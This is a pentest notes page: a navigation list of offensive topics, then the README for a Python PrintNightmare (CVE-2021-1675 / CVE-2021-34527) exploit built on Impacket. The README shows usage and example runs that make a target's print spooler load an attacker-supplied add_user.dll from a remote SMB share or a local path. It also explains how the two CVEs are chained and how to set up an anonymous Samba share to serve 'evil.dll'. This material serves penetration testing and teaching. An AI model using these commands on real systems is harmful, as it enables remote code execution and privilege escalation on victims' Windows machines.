Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- PrintNightmare
  - Installtion
  - Usage
    - Examples
      - Exploitation
        - Remote DLL
        - Local DLL
        - Custom name
      - Check if target is vulnerable
        - Unpatched Windows 10
        - Patched Windows Server 2022
      - List current printer drivers
      - Delete printer driver
  - Details
    - CVE-2021-1675
    - CVE-2021-34527
    - Combining the pieces
      - SMB and UNC
  - Authors
  - Credits

# PrintNightmare

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.

## Installtion

    $ pip3 install impacket

## Usage

    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                             [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                             target

    PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

    positional arguments:
      target                [[domain/]username[:password]@]<targetName or address>

    optional arguments:
      -h, --help            show this help message and exit
      -debug                Turn DEBUG output ON
      -no-pass              don't ask for password (useful for -k)
      -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                            cannot be found, it will use the ones specified in the command line
      -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

    connection:
      -port [destination port]
                            Destination port to connect to MS-RPRN named pipe
      -target-ip ip address
                            IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                            NetBIOS name and you cannot resolve it

    authentication:
      -hashes LMHASH:NTHASH
                            NTLM hashes, format is LMHASH:NTHASH

    driver:
      -name driver name     Name for driver
      -env driver name      Environment for driver
      -path driver path     Driver path for driver
      -dll driver dll       Path to DLL

    modes:
      -check                Check if target is vulnerable
      -list                 List existing printer drivers
      -delete               Deletes printer driver

### Examples

#### Exploitation

##### Remote DLL

    $ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:Passw0rd@172.16.19.128'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [*] Enumerating printer drivers
    [*] Driver name: 'Microsoft XPS Document Writer v5'
    [*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
    [*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
    [*] Copying over DLL
    [*] Successfully copied over DLL
    [*] Trying to load DLL
    [*] Successfully loaded DLL

##### Local DLL

    $ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:Passw0rd@172.16.19.128'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [*] Enumerating printer drivers
    [*] Driver name: 'Microsoft XPS Document Writer v5'
    [*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
    [*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
    [*] Loading DLL
    [*] Successfully loaded DLL

Notice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL.

##### Custom name

    $ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:Passw0rd@172.16.19.128'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [*] Enumerating printer drivers
    [*] Driver name: 'My Printer Driver'
    [*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
    [*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
    [*] Copying over DLL
    [*] Successfully copied over DLL
    [*] Trying to load DLL
    [*] Successfully loaded DLL

    $ ./printnightmare.py -list 'user:Passw0rd@172.16.19.128'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [*] Enumerating printer drivers
    Name:               Microsoft XPS Document Writer v4
    Environment:        Windows x64
    Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
    Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
    Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
    Version:            4
    ----------------------------------------------------------------
    Name:               Microsoft Print To PDF
    Environment:        Windows x64
    Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
    Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
    Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
    Version:            4
    ----------------------------------------------------------------
    Name:               My Printer Driver
    Environment:        Windows x64
    Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
    Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
    Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
    Version:            3
    ----------------------------------------------------------------
    Name:               Microsoft Shared Fax Driver
    Environment:        Windows x64
    Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
    Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
    Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
    Version:            3
    ----------------------------------------------------------------
    Name:               Microsoft enhanced Point and Print compatibility driver
    Environment:        Windows x64
    Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
    Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
    Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
    Version:            3
    ----------------------------------------------------------------

#### Check if target is vulnerable

##### Unpatched Windows 10

    $ ./printnightmare.py -check 'user:Passw0rd@172.16.19.128'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [*] Target appears to be vulnerable!

##### Patched Windows Server 2022

    $ ./printnightmare.py -check 'user:Passw0rd@172.16.19.135'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [!] Target does not appear to be vulnerable

#### List current printer drivers

    $ ./printnightmare.py -list 'user:Passw0rd@172.16.19.135'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [*] Enumerating printer drivers
    Name:               Microsoft XPS Document Writer v4
    Environment:        Windows x64
    Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
    Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
    Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
    Version:            4
    ----------------------------------------------------------------
    Name:               Microsoft Print To PDF
    Environment:        Windows x64
    Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
    Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
    Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
    Version:            4
    ----------------------------------------------------------------
    Name:               Microsoft enhanced Point and Print compatibility driver
    Environment:        Windows x64
    Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
    Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
    Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
    Version:            3
    ----------------------------------------------------------------

#### Delete printer driver

May require administrative privileges.

    $ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:Passw0rd@172.16.19.128'
    Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

    [*] Deleted printer driver!

## Details

PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527.

### CVE-2021-1675

A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return `RPC_E_ACCESS_DENIED` (Code: `0x8001011b`) if a non-administrator tries to add a new printer driver.

### CVE-2021-34527

When adding a new printer driver, the `pDataFile` parameter in the DRIVER_CONTAINER allows UNC paths. The DLL specified in `pDataFile` will however not be loaded, but it will get copied over to a local path allowing us to create a new printer driver with the `pConfigFile` parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return `ERROR_INVALID_PARAMETER` (Code: `0x57`)

### Combining the pieces

Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.

For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.

When creating a new printer driver, the DLL in the `pDataFile` parameter will not be loaded for security reasons. However, it will be copied over to `C:\Windows\system32\spool\drivers\x64\3\`. Then, we could create a new printer driver that uses `pConfigFile` (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to `C:\Windows\system32\spool\drivers\x64\3\old\<I>\`, where `<I>` is incremented for each DLL. Now we can create a third printer driver that will use the local path `C:\Windows\system32\spool\drivers\x64\3\old\<I>\`, since the DLL is no longer used. Now it's just a matter of guessing `<I>` which will start incrementing from `1`.

Note that the DLL will keep its filename locally, so if you initially run the exploit with `foo.dll` and it gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll` and you then change the contents of `foo.dll` locally and run the exploit again and it now gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll`, then the original `foo.dll` will be used since it is located in `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll`. Instead, simply change the filename if you change the contents of the DLL.

#### SMB and UNC

In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path `\\10.0.0.2\files\foo.txt` is a file `foo.txt` that is served from the `files` share of the server `10.0.0.2`. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the `Samba` package.

To install `Samba` with `apt`:

    $ sudo apt install samba

Edit the `/etc/samba/smb.conf` and add the following at the end of the file:

    [smb]
        comment = Samba
        path = /tmp/share
        guest ok = yes
        read only = yes
        browsable = yes
        force user = nobody

This will create a new share called `smb` and serve the files inside `/tmp/share`. It allows for anonymous access, and the local user `nobody` will be used to browse the files.

Then start the Samba service by doing:

    $ sudo service smbd start

Suppose your Linux machine has the IP `192.168.1.100` and you wish to serve the `evil.dll`, then the UNC path in this scenario will be `\\192.168.1.100\smb\evil.dll`.

## Authors

- @ly4k

## Credits

- @cube0x0's implementation
- Impacket